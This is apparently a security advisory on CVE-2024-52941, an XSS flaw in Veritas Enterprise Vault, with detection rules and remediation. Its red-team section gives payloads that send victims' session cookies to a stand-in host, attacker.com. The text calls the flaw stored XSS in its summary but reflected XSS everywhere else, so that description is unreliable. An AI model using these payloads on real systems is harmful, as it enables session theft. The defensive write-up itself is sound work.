CVE-2024-52941

Executive Summary

CVE-2024-52941 is a stored Cross-Site Scripting (XSS) vulnerability in Veritas Enterprise Vault, affecting versions prior to 15.1 UPD882911. An authenticated remote attacker can inject malicious parameters into HTTP requests, which are then reflected back to other authenticated users without proper sanitization when viewing archived content. This allows the attacker to execute arbitrary JavaScript in the context of the victim’s session, potentially leading to data theft, session hijacking, or further compromise within the Enterprise Vault environment. The vulnerability has a CVSS score of 5.4 (Medium) and currently has no public exploit code or active exploitation reports (EPSS 0.0%). No supply chain or package security implications exist as this is an on-premises enterprise application.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: Low (PR:L) – Attacker must be authenticated.
• User Interaction: Required (UI:R) – Victim must click a crafted link or view malicious content.
• Scope: Unchanged (S:U) – Exploitation does not affect other components.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited modification of data.
• Availability Impact: Low (A:L) – Limited service disruption.

Threat Level: Medium. While the CVSS score is moderate, the authenticated requirement and user interaction reduce the immediate risk. However, in an enterprise context, XSS can lead to privilege escalation or lateral movement if combined with other vulnerabilities.

Deep Dive & Mechanics

The vulnerability resides in the web interface of Veritas Enterprise Vault, specifically in the component responsible for rendering archived content. When an authenticated user views archived emails or files, the application fails to properly sanitize user-supplied parameters in HTTP requests. An attacker can craft a malicious URL containing JavaScript payloads in query parameters. When a victim (also authenticated) clicks the link or views the crafted content, the payload is reflected back and executed in the victim’s browser.

Root Cause: Lack of output encoding or input validation on reflected parameters in the archived content viewer. The application trusts user input and directly embeds it into the HTML response without escaping.

Attack Flow:

1. Attacker authenticates to Enterprise Vault.
2. Attacker crafts a URL with a malicious parameter (e.g., ?search=<script>alert('XSS')</script>).
3. Attacker sends the URL to a victim (e.g., via email or social engineering).
4. Victim, authenticated to Enterprise Vault, clicks the link.
5. The server reflects the malicious parameter in the response without sanitization.
6. Victim’s browser executes the script, allowing the attacker to steal cookies, perform actions on behalf of the victim, or exfiltrate data.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# Example of vulnerable server-side code
def view_archive(request):
    search_term = request.GET.get('search', '')
    # Directly embedding user input into HTML
    html = f"<div>Search results for: {search_term}</div>"
    return HttpResponse(html)

Patched Code (Conceptual):

# Example of patched server-side code
import html
def view_archive(request):
    search_term = request.GET.get('search', '')
    # Properly escape HTML entities
    safe_search = html.escape(search_term)
    html = f"<div>Search results for: {safe_search}</div>"
    return HttpResponse(html)

The patch (UPD882911) implements proper output encoding for all user-supplied parameters in the archived content viewer, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Authenticated session to Veritas Enterprise Vault (any user role).
• Ability to craft and send URLs to other authenticated users.

Exploitation Steps:

1. Identify a vulnerable endpoint (e.g., /EnterpriseVault/ArchiveViewer?search=).
2. Craft a payload: ?search=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
3. URL-encode the payload: ?search=%3Cscript%3Efetch('https%3A%2F%2Fattacker.com%2Fsteal%3Fcookie%3D'%2Bdocument.cookie)%3C%2Fscript%3E
4. Send the crafted link to the victim via email or internal messaging.
5. Victim clicks the link, and the script executes, sending their session cookie to the attacker’s server.

Example Payload:

<script>new Image().src='https://attacker.com/steal?c='+document.cookie;</script>

Blue Team (Defensive)

Detection:

• Monitor web server logs for unusual query parameters containing <script>, onerror, javascript:, or base64-encoded payloads.
• Use WAF rules to block reflected XSS patterns.
• Deploy CSP headers to restrict script execution.

Hunting:

• Search for HTTP requests to /EnterpriseVault/ArchiveViewer with suspicious parameters.
• Correlate with user activity logs for unusual click patterns.

Mitigation:

• Apply the vendor patch immediately.
• Implement input validation and output encoding on all user-supplied data.
• Enable Content Security Policy (CSP) with script-src 'self'.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing <script> tags in query parameters to /EnterpriseVault/ArchiveViewer.
  • Outbound connections to unknown domains from Enterprise Vault web interface.
• Host IOCs:
  • Unusual JavaScript files in browser cache or temporary internet files.
  • Modified browser settings or extensions.
• Log IOCs:
  • Web server logs showing %3Cscript%3E or similar URL-encoded XSS patterns.
  • Authentication logs showing multiple failed login attempts followed by successful XSS exploitation.

Detection Engineering

YARA Rule

rule CVE_2024_52941_XSS_Reflected {
    meta:
        description = "Detects reflected XSS attempts targeting Veritas Enterprise Vault CVE-2024-52941"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-52941"
    strings:
        $xss1 = "<script>" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "javascript:" nocase
        $xss4 = "onload=" nocase
        $xss5 = "alert(" nocase
        $url1 = "/EnterpriseVault/ArchiveViewer" nocase
    condition:
        any of ($xss*) and $url1
}

Sigma Rule

title: Reflected XSS Attempt on Veritas Enterprise Vault
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads targeting Enterprise Vault
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - '<script>'
            - 'onerror='
            - 'javascript:'
            - 'onload='
        cs-uri-stem|contains: '/EnterpriseVault/ArchiveViewer'
    condition: selection
falsepositives:
    - Legitimate use of search terms containing these strings (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-52941 Reflected XSS in Veritas Enterprise Vault"; flow:to_server; content:"/EnterpriseVault/ArchiveViewer"; http_uri; content:"<script>"; nocase; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade to Veritas Enterprise Vault 15.1 UPD882911 or later. Contact Veritas support for the update.
2. Workaround: If patching is not immediately possible, restrict access to the Enterprise Vault web interface to trusted IPs only.
3. WAF Rules: Deploy web application firewall rules to block reflected XSS patterns (e.g., <script>, onerror).

Long-Term Measures:

• Implement Content Security Policy (CSP) with script-src 'self' and object-src 'none'.
• Conduct regular security audits and penetration testing.
• Enforce input validation and output encoding for all user-supplied data.
• Monitor for similar vulnerabilities in other enterprise applications.

Veritas Advisory: Refer to Veritas Security Advisory for CVE-2024-52941 for official patch details.

Valters IT
Securing Digital Frontiers